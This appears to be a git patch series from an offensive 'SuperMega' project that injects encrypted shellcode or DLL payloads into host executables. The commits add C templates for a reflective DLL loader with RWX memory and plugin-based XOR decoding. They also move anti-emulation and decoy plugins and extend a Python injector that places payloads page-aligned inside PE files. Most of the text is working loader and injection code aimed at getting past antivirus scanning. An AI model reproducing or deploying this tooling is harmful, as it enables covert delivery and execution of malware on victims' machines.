importDescriptor++; + } + + *ret_dllBase = (DWORD_PTR)dllBase; + *ret_aoep = ntHeaders->OptionalHeader.AddressOfEntryPoint; + + return 0; +} + + +int main() +{ + // Read DLL + HANDLE dll = CreateFileA("C:\\Tools\\TestDll.dll", GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL); + DWORD64 dllSize = GetFileSize(dll, NULL); + + // Put it into memory + LPVOID dllBytes = VirtualAlloc(0, dllSize, 0x3000, PAGE_EXECUTE_READWRITE); + DWORD outSize = 0; + ReadFile(dll, dllBytes, dllSize, &outSize, NULL); + CloseHandle(dll); + + // load the DLL + DWORD_PTR dllBase; + DWORD aoep; + load_shellcode(dllBytes, &dllBase, &aoep); + DLLEntry DllEntry = (DLLEntry)(dllBase + aoep); + (*DllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0); + + return 0; +} + From c6533433e1cfdc226851b520a4283576de7bcc70 Mon Sep 17 00:00:00 2001 From: Dobin Rutishauser Date: Fri, 14 Jun 2024 13:25:16 +0200 Subject: [PATCH 08/37] fix: bug when temp dir is missing --- tester.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/tester.py b/tester.py index db44e82..01d40b1 100644 --- a/tester.py +++ b/tester.py @@ -11,9 +11,13 @@ from model.project import prepare_project def main(): - logger.info("Super Mega Tester") + logger.info("Super Mega Tester: " + os.path.dirname(VerifyFilename)) config.load() + if not os.path.exists(os.path.dirname(VerifyFilename)): + print("{} directory does not exist".format(os.path.dirname(VerifyFilename))) + return + test_exe_code() test_exe_data() test_dll_code() From 9210d0c8129544fe9cddc4c269b09cf34c82f59c Mon Sep 17 00:00:00 2001 From: Dobin Rutishauser Date: Fri, 14 Jun 2024 13:25:48 +0200 Subject: [PATCH 09/37] refactor: make dll loader more modular --- data/source/carrier/dll_loader/template.c | 28 +++++++++++------------ 1 file changed, 13 insertions(+), 15 deletions(-) diff --git a/data/source/carrier/dll_loader/template.c b/data/source/carrier/dll_loader/template.c index 00b27b4..4df2b7b 100644 --- a/data/source/carrier/dll_loader/template.c +++ b/data/source/carrier/dll_loader/template.c @@ -10,11 +10,12 @@ char *supermega_payload; /* DLL loader - This code will load a DLL into memory, resolve its imports, apply relocations, and execute it. + This code will load a DLL (not a shellcode!) into memory, + resolve its imports, apply relocations, and execute it. Loader is based on: - https://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection - with some patches to make it work here + https://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection + with some patches to make it work here */ @@ -40,7 +41,7 @@ void mymemcpy(void* dest, const void* src, size_t n) { } -DWORD_PTR load_shellcode(LPVOID dllBytes, DWORD_PTR *ret_dllBase, DWORD *ret_aoep) { +DWORD_PTR load_dll(LPVOID dllBytes, DWORD_PTR *ret_dllBase, DWORD *ret_aoep) { // get this module's image base address PVOID imageBase = GetModuleHandleA(NULL); @@ -144,20 +145,17 @@ DWORD_PTR load_shellcode(LPVOID dllBytes, DWORD_PTR *ret_dllBase, DWORD *ret_aoe int main() { - // Read DLL - HANDLE dll = CreateFileA("C:\\Tools\\TestDll.dll", GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL); - DWORD64 dllSize = GetFileSize(dll, NULL); - - // Put it into memory - LPVOID dllBytes = VirtualAlloc(0, dllSize, 0x3000, PAGE_EXECUTE_READWRITE); - DWORD outSize = 0; - ReadFile(dll, dllBytes, dllSize, &outSize, NULL); - CloseHandle(dll); + char* dest = VirtualAlloc(0, {{PAYLOAD_LEN}}, 0x3000, PAGE_EXECUTE_READWRITE); - // load the DLL + // FROM supermega_payload[] + // TO dest[] + // Including decryption +{{ plugin_decoder }} + + // Load the DLL at dest DWORD_PTR dllBase; DWORD aoep; - load_shellcode(dllBytes, &dllBase, &aoep); + load_dll( (void *) dest, &dllBase, &aoep); DLLEntry DllEntry = (DLLEntry)(dllBase + aoep); (*DllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0); From 6010dbb4c08cef0cbfbd4c4b2ce484910fd296ba Mon Sep 17 00:00:00 2001 From: Dobin Rutishauser Date: Fri, 14 Jun 2024 13:26:34 +0200 Subject: [PATCH 10/37] fix: set default antiemulation to none --- model/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/model/settings.py b/model/settings.py index 201e3d4..35817b9 100644 --- a/model/settings.py +++ b/model/settings.py @@ -14,7 +14,7 @@ class Settings(): self.decoder_style: DecoderStyle = DecoderStyle.XOR_1 self.short_call_patching: bool = False - self.plugin_antiemulation = "timeraw" + self.plugin_antiemulation = "none" self.plugin_decoy = "none" self.dllfunc: str = "" # For DLL injection From 46447af57b38f264bab3498078c57cc5fa43f4ee Mon Sep 17 00:00:00 2001 From: Dobin Rutishauser Date: Sun, 16 Jun 2024 07:04:53 +0200 Subject: [PATCH 11/37] remove failed experiment --- relokator.py | 299 --------------------------------------------------- 1 file changed, 299 deletions(-) delete mode 100644 relokator.py diff --git a/relokator.py b/relokator.py deleted file mode 100644 index 8ced069..0000000 --- a/relokator.py +++ /dev/null @@ -1,299 +0,0 @@ -import sys -import logging - -from model.defs import * -from pe.superpe import SuperPe -from log import setup_logging - -logger = logging.getLogger("Relokator") - - -class Relokator(): - - - def getSectionIndexByDataDir(self, dirIndex): - addr = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[dirIndex].VirtualAddress - - i = 0 - for sect in self.pe.sections: - if addr >= sect.VirtualAddress and addr < (sect.VirtualAddress + sect.Misc_VirtualSize): - return i - i += 1 - - logger.error(f'Could not find section with directory index {dirIndex}!') - return -1 - - - def getRemainingRelocsDirectorySize(self): - relocsIndex = self.getSectionIndexByDataDir(SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC) - out = self.pe.sections[relocsIndex].SizeOfRawData - self.pe.sections[relocsIndex].Misc_VirtualSize - return out - - - def addImageBaseRelocations(self, pageRva, relocs): - assert pageRva > 0 - - if not self.pe.has_relocs(): - logger.error("No .reloc section") - raise(Exception("No .reloc section")) - - if self.is_64(): - imageBaseRelocType = SuperPe.IMAGE_REL_BASED_DIR64 - else: - # Not really used - imageBaseRelocType = SuperPe.IMAGE_REL_BASED_HIGHLOW - - relocsSize = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size - relocsIndex = self.getSectionIndexByDataDir(SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC) - addr = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress - sizeOfReloc = 2 * len(relocs) + 2 * 4 - - if sizeOfReloc >= self.getRemainingRelocsDirectorySize(): - self.logger.warning('WARNING! Cannot add any more relocations to this file. Probably TLS Callback execution technique wont work.') - self.logger.warning(' Will try disabling relocations on output file. Expect corrupted executable though!') - - self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress = 0 - self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size = 0 - return - - relocDirRva = self.pe.sections[relocsIndex].VirtualAddress - self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size += sizeOfReloc - - # VirtualAddress - self.pe.set_dword_at_rva(addr + relocsSize, pageRva) - - # SizeOfBlock - self.pe.set_dword_at_rva(addr + relocsSize + 4, sizeOfReloc) - - logger.info(f'Adding {len(relocs)} relocations for Page RVA 0x{pageRva:X} - size of block: 0x{sizeOfReloc:X}') - i = 0 - for reloc in relocs: - #reloc_offset = (reloc - pageRva) - reloc_offset = reloc - reloc_type = imageBaseRelocType << 12 - relocWord = (reloc_type | reloc_offset) - - #if reloc == 0: - # reloc_type = 0 - # relocWord = 0 - # reloc_offset = 0 - logger.info(f'\tReloc{i} for addr 0x{reloc:X}: 0x{relocWord:X} - 0x{reloc_offset:X} - type: {imageBaseRelocType}') - self.pe.set_qword_at_rva(relocDirRva + relocsSize + 8 + i * 2, relocWord) - #self.pe.set_qword_at_rva(relocDirRva + relocsSize + 8 + i * 2, reloc) - i += 1 - - - def overwriteImageBaseRelocations(self, pageRva, relocs): - assert pageRva > 0 - imageBaseRelocType = SuperPe.IMAGE_REL_BASED_DIR64 - - addr = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress - print("Set at: 0x{:X} / 0x{:X}: 0x{:X}".format( - addr, - self.pe.get_offset_from_rva(addr), - pageRva)) - self.pe.set_dword_at_rva(addr, pageRva) - self.pe.set_bytes_at_offset( - self.pe.get_offset_from_rva(addr + 4), - b'\x00' * 4 - ) - - - def mywrite(self, filename): - file_data = bytearray(self.pe.__data__) - f = open(filename, "wb+") - f.write(file_data) - f.close() - - -def main(filename: str, current_base: int): - setup_logging(logging.DEBUG) - print("Handling: {}".format(filename)) - superpe = SuperPe(filename) - - r = {} - relocation: PeRelocEntry - for relocation in superpe.get_base_relocs(): - if relocation.base_rva in r: - r[relocation.base_rva] += 1 - else: - r[relocation.base_rva] = 1 - - #print("Base: 0x{:X} RVA: 0x{:X} Offset: {} Type: {}".format( - # relocation.base_rva, - # relocation.rva, - # relocation.offset, - # relocation.type, - #)) - - #sum = 0 - #for base, count in r.items(): - # print("0x{:X}: {}".format(base, count)) - # sum += count - #print("Sum: {}".format(sum)) - - print("Image Base : 0x{:X}".format(superpe.get_image_base())) - print("Current Base: 0x{:X}".format(current_base)) - diff = current_base - superpe.get_image_base() - print("Diff : 0x{:X}".format(diff)) - - code_section = superpe.get_code_section() - print("Text section start: 0x{:X} size: {}".format( - code_section.VirtualAddress, - code_section.SizeOfRawData - )) - - if False: - text_start = code_section.VirtualAddress - text_end = text_start + 4096 # 10000 # code_section.SizeOfRawData - - # entry point rva: E'1D78 - # page: E'1000 - # jumps to: 00000001400E'21B0 - - - # Relocs show - interval = 32 - page_vaddr = text_start - relocs = [] - - mypage = 0xE2000 - page_vaddr = mypage - text_end = page_vaddr + 0x1000 - while page_vaddr < text_end: - print("Relocations for page: 0x{:X}".format( - page_vaddr - )) - - i = 1 - while i < 4096: - # data is 8 bytes (quad word) - data = superpe.pe.get_qword_at_rva(page_vaddr + i) - patch_data = data - diff - if patch_data > 0: - print(" Relocation: 0x{:X} 0x{:X} \tData: 0x{:X} \tPatched: 0x{:X}".format( - i+page_vaddr, - i, - data, - patch_data - )) - relocs.append(i) - - i += int(4096 / interval) - page_vaddr += 4096 - else: - mypage = 0x1000 #0x14B000 - relocs = [ - 0x8, - 0x16, - #0, - ] - - if False: - superpe.addImageBaseRelocations(mypage, relocs) - superpe.write_pe_to_file("tmp/myproc.exe") - #superpe.overwriteImageBaseRelocations(mypage, relocs) - else: - #superpe.overwriteImageBaseRelocations(mypage, relocs) - relocs = [] - entries_count = 0x8C - step = int(4096/entries_count) - - page_vaddr = mypage - text_end = page_vaddr + 0x1000 - while page_vaddr < text_end: - print("Relocations for page: 0x{:X}".format( - page_vaddr - )) - - i = 16 - while i < 4096: - # data is 8 bytes (quad word) - data = superpe.pe.get_qword_at_rva(page_vaddr + i) - patch_data = data - diff - if patch_data > 0: - print(" Relocation: 0x{:X} 0x{:X} \tData: 0x{:X} \tPatched: 0x{:X}".format( - i+page_vaddr, - i, - data, - patch_data - )) - relocs.append(i) - superpe.pe.set_qword_at_rva(page_vaddr+i, patch_data) - else: - print(" SKIP Relocation: 0x{:X} 0x{:X} \tData: 0x{:X} \tPatched: 0x{:X}".format( - i+page_vaddr, - i, - data, - patch_data - )) - i += step - - if len(relocs) >= entries_count: - break - page_vaddr += 4096 - - print("Added relocs: 0x{:X}".format(len(relocs))) - - relocsSize = superpe.pe.OPTIONAL_HEADER.DATA_DIRECTORY[ - SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size - relocsIndex = superpe.getSectionIndexByDataDir( - SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC) - addr = superpe.pe.OPTIONAL_HEADER.DATA_DIRECTORY[ - SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress - - print("-> Relocs size: 0x{:X} Index: {} Addr: 0x{:X} = 0x{:X}".format( - relocsSize, relocsIndex, addr, superpe.pe.get_offset_from_rva(addr) - )) - superpe.pe.set_dword_at_rva(addr, mypage) - - addr_entries = addr + 8 - i = 0 - for reloc in relocs: - #reloc_offset = (reloc - pageRva) - reloc_offset = reloc - reloc_type = SuperPe.IMAGE_REL_BASED_DIR64 << 12 - relocWord = (reloc_type | reloc_offset) - - #if reloc == 0: - # reloc_type = 0 - # relocWord = 0 - # reloc_offset = 0 - logger.info(f'\tReloc{i} for addr 0x{reloc:X}: 0x{relocWord:X} - 0x{reloc_offset:X}') - superpe.pe.set_word_at_rva(addr_entries + i * 2, relocWord) - #self.pe.set_qword_at_rva(relocDirRva + relocsSize + 8 + i * 2, reloc) - i += 1 - - #superpe.pe.set_qword_at_rva(addr, 0x0011223344556677) - #superpe.pe.set_qword_at_rva(0x11D00, 0x0011223344556677) - #superpe.pe.set_dword_at_offset(0x11B600, 0x00112233) - #superpe.pe.set_qword_at_rva(0x1000, 0x0011223344556677) # works! - - if False: - # print - relocation: PeRelocEntry - n = 0 - for base_reloc in superpe.pe.DIRECTORY_ENTRY_BASERELOC: - for entry in base_reloc.entries: - if n > 5: - break - - print("Base: 0x{:X} RVA: 0x{:X}".format( - entry.base_rva, - entry.rva, - )) - - n += 1 - - superpe.mywrite("tmp/myproc.exe") - - -if __name__ == "__main__": - if len(sys.argv) != 3: - print("./relokator ") - exit(1) - - filename = sys.argv[1] - current_base = int(sys.argv[2], 16) - main(filename, current_base) - From 63c670850fda53b72bdc66544ce4847c0d7e2d2d Mon Sep 17 00:00:00 2001 From: Dobin Rutishauser Date: Sun, 16 Jun 2024 07:45:25 +0200 Subject: [PATCH 12/37] refactor: move carrier plugins around --- .../source/{carrier => }/antiemulation/none.c | 0 .../antiemulation/sirallocalot.c | 0 .../{carrier => }/antiemulation/timeraw.c | 0 .../template.c | 0 .../carrier/dll_loader_change/template.c | 220 ++++++++++++++++++ data/source/{carrier => }/decoder/plain_1.c | 0 data/source/{carrier => }/decoder/xor_1.c | 0 data/source/{carrier => }/decoder/xor_2.c | 0 data/source/{carrier => }/decoy/none.c | 0 data/source/{carrier => }/decoy/winexec.c | 0 model/defs.py | 6 +- 11 files changed, 223 insertions(+), 3 deletions(-) rename data/source/{carrier => }/antiemulation/none.c (100%) rename data/source/{carrier => }/antiemulation/sirallocalot.c (100%) rename data/source/{carrier => }/antiemulation/timeraw.c (100%) rename data/source/carrier/{dll_loader => dll_loader_alloc}/template.c (100%) create mode 100644 data/source/carrier/dll_loader_change/template.c rename data/source/{carrier => }/decoder/plain_1.c (100%) rename data/source/{carrier => }/decoder/xor_1.c (100%) rename data/source/{carrier => }/decoder/xor_2.c (100%) rename data/source/{carrier => }/decoy/none.c (100%) rename data/source/{carrier => }/decoy/winexec.c (100%) diff --git a/data/source/carrier/antiemulation/none.c b/data/source/antiemulation/none.c similarity index 100% rename from data/source/carrier/antiemulation/none.c rename to data/source/antiemulation/none.c diff --git a/data/source/carrier/antiemulation/sirallocalot.c b/data/source/antiemulation/sirallocalot.c similarity index 100% rename from data/source/carrier/antiemulation/sirallocalot.c rename to data/source/antiemulation/sirallocalot.c diff --git a/data/source/carrier/antiemulation/timeraw.c b/data/source/antiemulation/timeraw.c similarity index 100% rename from data/source/carrier/antiemulation/timeraw.c rename to data/source/antiemulation/timeraw.c diff --git a/data/source/carrier/dll_loader/template.c b/data/source/carrier/dll_loader_alloc/template.c similarity index 100% rename from data/source/carrier/dll_loader/template.c rename to data/source/carrier/dll_loader_alloc/template.c diff --git a/data/source/carrier/dll_loader_change/template.c b/data/source/carrier/dll_loader_change/template.c new file mode 100644 index 0000000..9fb9c63 --- /dev/null +++ b/data/source/carrier/dll_loader_change/template.c @@ -0,0 +1,220 @@ +#include +#include + + +char *supermega_payload; + +#define p_RW 0x04 +#define p_RX 0x20 +#define p_RWX 0x40 + +/* DLL loader + + This code will load a DLL (not a shellcode!) into memory, + resolve its imports, apply relocations, and execute it. + + Loader is based on: + https://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection + with some patches to make it work here +*/ + + +typedef struct BASE_RELOCATION_BLOCK { + DWORD PageAddress; + DWORD BlockSize; +} BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK; + +typedef struct BASE_RELOCATION_ENTRY { + USHORT Offset : 12; + USHORT Type : 4; +} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY; + +typedef BOOL (WINAPI *DLLEntry)(HINSTANCE, DWORD, LPVOID); + + +void mymemcpy(void* dest, const void* src, size_t n) { + char* d = (char*)dest; + const char* s = (const char*)src; + for (size_t i = 0; i < n; ++i) { + d[i] = s[i]; + } +} + + +DWORD_PTR load_dll(LPVOID dllBase, DWORD_PTR *ret_dllBase, DWORD *ret_aoep) { + // get this module's image base address + //PVOID imageBase = GetModuleHandleA(NULL); + + // dllBase is expected to be page-aligned + if ((DWORD_PTR)dllBase & 0xFFF) + { + MessageBoxW(0, L"Not page aligned", L"Not page aligned", MB_OK); + } + + // get pointers to in-memory DLL headers + PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)dllBase; + PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBase + dosHeaders->e_lfanew); + SIZE_T dllImageSize = ntHeaders->OptionalHeader.SizeOfImage; + + DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase; + +/* + // VirtualProtect the sections correctly + PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders); + for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) + { + DWORD protect; + if (section->Characteristics & IMAGE_SCN_MEM_EXECUTE) + { + protect = PAGE_EXECUTE_READWRITE; + } + else if (section->Characteristics & IMAGE_SCN_MEM_WRITE) + { + protect = PAGE_READWRITE; + } + else + { + protect = PAGE_READONLY; + } + + DWORD_PTR sectionDestination = section->VirtualAddress + (DWORD_PTR)dllBase; + DWORD_PTR sectionSize = section->SizeOfRawData; + DWORD oldProtect; + VirtualProtect((LPVOID)sectionDestination, sectionSize, protect, &oldProtect); + section++; + } +*/ + + // Overwrite PE header: First 0x1000 bytes +/* + // allocate new memory space for the DLL. Try to allocate memory in the image's preferred base address, but don't stress if the memory is allocated elsewhere + //LPVOID dllBase = VirtualAlloc((LPVOID)0x000000191000000, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + LPVOID dllBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + + // get delta between this module's image base and the DLL that was read into memory + + // copy over DLL image headers to the newly allocated space for the DLL + mymemcpy(dllBase, dllBytes, ntHeaders->OptionalHeader.SizeOfHeaders); + + // copy over DLL image sections to the newly allocated space for the DLL + PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders); + for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) + { + LPVOID sectionDestination = (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)section->VirtualAddress); + LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dllBytes + (DWORD_PTR)section->PointerToRawData); + mymemcpy(sectionDestination, sectionBytes, section->SizeOfRawData); + section++; + } +*/ + + // perform image base relocations + IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; + DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)dllBase; + DWORD relocationsProcessed = 0; + + while (relocationsProcessed < relocations.Size) + { + PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed); + relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK); + DWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY); + PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed); + + for (DWORD i = 0; i < relocationsCount; i++) + { + relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY); + + // THIZ + if (relocationEntries[i].Type == 0) + { + continue; + } + + DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset; + //DWORD_PTR addressToPatch = 0; + //ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL); + DWORD_PTR* addressToPatch = (DWORD_PTR*)((BYTE*)dllBase + relocationRVA); + //DWORD_PTR value = *addressToPatch; + + *addressToPatch += deltaImageBase; + //mymemcpy((PVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR)); + + } + } + + MessageBoxW(0, L"AAA2", L"AAA2", MB_OK); + + // resolve import address table + PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL; + IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; + importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase); + LPCSTR libraryName; + HMODULE library = NULL; + + while (importDescriptor->Name != NULL) + { + libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase; + library = LoadLibraryA(libraryName); + + if (library) + { + PIMAGE_THUNK_DATA thunk = NULL; + thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dllBase + importDescriptor->FirstThunk); + + while (thunk->u1.AddressOfData != NULL) + { + if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal)) + { + LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal); + thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal); + } + else + { + PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllBase + thunk->u1.AddressOfData); + DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name); + thunk->u1.Function = functionAddress; + } + ++thunk; + } + } + + importDescriptor++; + } + + *ret_dllBase = (DWORD_PTR)dllBase; + *ret_aoep = ntHeaders->OptionalHeader.AddressOfEntryPoint; + + return 0; +} + + +int main() +{ + // char* dest = VirtualAlloc(0, {{PAYLOAD_LEN}}, 0x3000, PAGE_EXECUTE_READWRITE); + //char* dest = VirtualAlloc(0, 0x7000, 0x3000, PAGE_EXECUTE_READWRITE); + char* dest = supermega_payload; + DWORD protect, oldProtect; + protect = PAGE_EXECUTE_READWRITE; + VirtualProtect((LPVOID)dest, 0x7000, protect, &oldProtect); + + MessageBoxW(0, L"ok virtualprotect", L"AAA2", MB_OK); + + + // FROM supermega_payload[] + // TO dest[] + // Including decryption +{{ plugin_decoder }} + + + MessageBoxW(0, L"ok copy", L"AAA2", MB_OK); + + + // Load the DLL at dest + DWORD_PTR dllBase; + DWORD aoep; + load_dll( (void *) dest, &dllBase, &aoep); + DLLEntry DllEntry = (DLLEntry)(dllBase + aoep); + (*DllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0); + + return 0; +} + diff --git a/data/source/carrier/decoder/plain_1.c b/data/source/decoder/plain_1.c similarity index 100% rename from data/source/carrier/decoder/plain_1.c rename to data/source/decoder/plain_1.c diff --git a/data/source/carrier/decoder/xor_1.c b/data/source/decoder/xor_1.c similarity index 100% rename from data/source/carrier/decoder/xor_1.c rename to data/source/decoder/xor_1.c diff --git a/data/source/carrier/decoder/xor_2.c b/data/source/decoder/xor_2.c similarity index 100% rename from data/source/carrier/decoder/xor_2.c rename to data/source/decoder/xor_2.c diff --git a/data/source/carrier/decoy/none.c b/data/source/decoy/none.c similarity index 100% rename from data/source/carrier/decoy/none.c rename to data/source/decoy/none.c diff --git a/data/source/carrier/decoy/winexec.c b/data/source/decoy/winexec.c similarity index 100% rename from data/source/carrier/decoy/winexec.c rename to data/source/decoy/winexec.c diff --git a/model/defs.py b/model/defs.py index 386fc4e..f8ee147 100644 --- a/model/defs.py +++ b/model/defs.py @@ -14,9 +14,9 @@ PATH_SHELLCODES = "data/binary/shellcodes/" PATH_CARRIER = "data/source/carrier/" PATH_PAYLOAD = "data/source/payload/" -PATH_DECODER = "data/source/carrier/decoder/" -PATH_ANTIEMULATION = "data/source/carrier/antiemulation/" -PATH_DECOY = "data/source/carrier/decoy/" +PATH_DECODER = "data/source/decoder/" +PATH_ANTIEMULATION = "data/source/antiemulation/" +PATH_DECOY = "data/source/decoy/" PATH_WEB_PROJECT = "projects/" From a1815ab7fe223b71f8814bf5a63cf924935e50f8 Mon Sep 17 00:00:00 2001 From: Dobin Rutishauser Date: Sun, 16 Jun 2024 08:28:20 +0200 Subject: [PATCH 13/37] feature: in-place dll loader (support) --- pe/pehelper.py | 28 ++++++++++++++++++++++++++++ phases/injector.py | 8 +++++++- supermega.py | 24 ++++++++++++------------ 3 files changed, 47 insertions(+), 13 deletions(-) diff --git a/pe/pehelper.py b/pe/pehelper.py index 7f11ca8..ff8df78 100644 --- a/pe/pehelper.py +++ b/pe/pehelper.py @@ -11,6 +11,26 @@ logger = logging.getLogger("PEHelper") # Its mostly used for verification of what we were doing. +# PRE-LOAD a dll file into memory +# This will load the DLL file into a memory buffer, already +# loaded at the correct RVA addresses (e.g. sections page aligned). +def preload_dll(payload_path: str) -> bytes: + dllPe = pefile.PE(payload_path) + dllImageSize = dllPe.OPTIONAL_HEADER.SizeOfImage + payload: bytearray = bytearray(dllImageSize) + + # copy PE header sizeofheaders + payload[:dllPe.OPTIONAL_HEADER.SizeOfHeaders] = dllPe.get_data()[:dllPe.OPTIONAL_HEADER.SizeOfHeaders] + + # copy sections + for section in dllPe.sections: + if section.SizeOfRawData == 0: + continue + payload[section.VirtualAddress:section.VirtualAddress + section.SizeOfRawData] = section.get_data() + + return bytes(payload) + + def extract_code_from_exe_file_ep(exe_file: FilePath, len: int) -> bytes: pe = pefile.PE(exe_file) section = get_code_section(pe) @@ -69,3 +89,11 @@ def remove_trailing_null_bytes(data: bytes) -> bytes: if data[i] != b'\x00'[0]: # Check for a non-null byte return data[:i + 1] return b'' # If the entire sequence is null bytes + + +def align_to_page_size(rva, offset, page_size=4096): + # Align to the nearest lower page boundary + aligned_address = rva & ~(page_size - 1) + real_address = aligned_address - offset + logger.debug(" Aligning: 0x{:X} to 0x{:X}".format(aligned_address, real_address)) + return real_address \ No newline at end of file diff --git a/phases/injector.py b/phases/injector.py index a34f5cd..2902d1c 100644 --- a/phases/injector.py +++ b/phases/injector.py @@ -17,7 +17,7 @@ from model.defs import * logger = logging.getLogger("Injector") -def inject_exe(main_shc: bytes, settings: Settings, carrier: Carrier): +def inject_exe(main_shc: bytes, settings: Settings, carrier: Carrier, project: Project): exe_in = settings.inject_exe_in exe_out = settings.inject_exe_out carrier_invoke_style: CarrierInvokeStyle = settings.carrier_invoke_style @@ -90,6 +90,12 @@ def inject_exe(main_shc: bytes, settings: Settings, carrier: Carrier): shellcode_offset += sect.PointerToRawData shellcode_rva = superpe.pe.get_rva_from_offset(shellcode_offset) + # Aligning the payload (not carrier!) to page size is important for dll_loader_change + if settings.carrier_name == "dll_loader_change": + # align shellcode_rva minus an offset to page size + shellcode_rva = align_to_page_size(shellcode_rva, shellcode_len - project.payload.len) + shellcode_offset = superpe.pe.get_offset_from_rva(shellcode_rva) + logger.info("---( Inject: Write Shellcode to offset:0x{:X} (rva:0x{:X})".format( shellcode_offset, shellcode_rva)) diff --git a/supermega.py b/supermega.py index 84105e1..a426605 100644 --- a/supermega.py +++ b/supermega.py @@ -12,13 +12,13 @@ import phases.compiler import phases.assembler import phases.injector from observer import observer -from pe.pehelper import extract_code_from_exe_file_ep +from pe.pehelper import preload_dll from sender import scannerDetectsBytes from model.project import Project, prepare_project from model.settings import Settings from model.defs import * from log import setup_logging -from model.carrier import Carrier, DataReuseEntry, IatRequest +from model.carrier import DataReuseEntry def main(): @@ -151,6 +151,14 @@ def start_real(settings: Settings): project.settings.plugin_decoy) ) + # FIXUP DLL Payload + # Prepare DLL payload for usage in dll_loader_change + # This needs to be done before rendering the C templates, as the need + # the size of the payload + if project.settings.carrier_name == "dll_loader_change": + project.payload.payload_data = preload_dll(project.payload.payload_path) + project.payload.len = len(project.payload.payload_data) + # CREATE: Carrier C source files from template (C->C) phases.templater.create_c_from_template(settings, project.payload.len) @@ -198,19 +206,11 @@ def start_real(settings: Settings): #observer.add_code_file("full_shc", full_shellcode) else: # shellcode is in .rdata, so we dont need to merge + # This is handle before, e.g. encoding. full_shellcode = carrier_shellcode - # RWX Injection (optional): obfuscate loader+payload - #if project.exe_host.rwx_section != None: - # logger.info("--[ RWX section {} found. Will obfuscate loader+payload and inject into it".format( - # project.exe_host.rwx_section.Name.decode().rstrip('\x00') - # )) - # obfuscate_shc_loader(settings.main_shc_path, settings.main_shc_path + ".sgn") - # observer.add_code_file("payload_sgn", file_readall_binary(settings.main_shc_path + ".sgn")) - # shutil.move(settings.main_shc_path + ".sgn", settings.main_shc_path) - # inject (merged) loader into an exe. Big task. - phases.injector.inject_exe(full_shellcode, settings, project.carrier) + 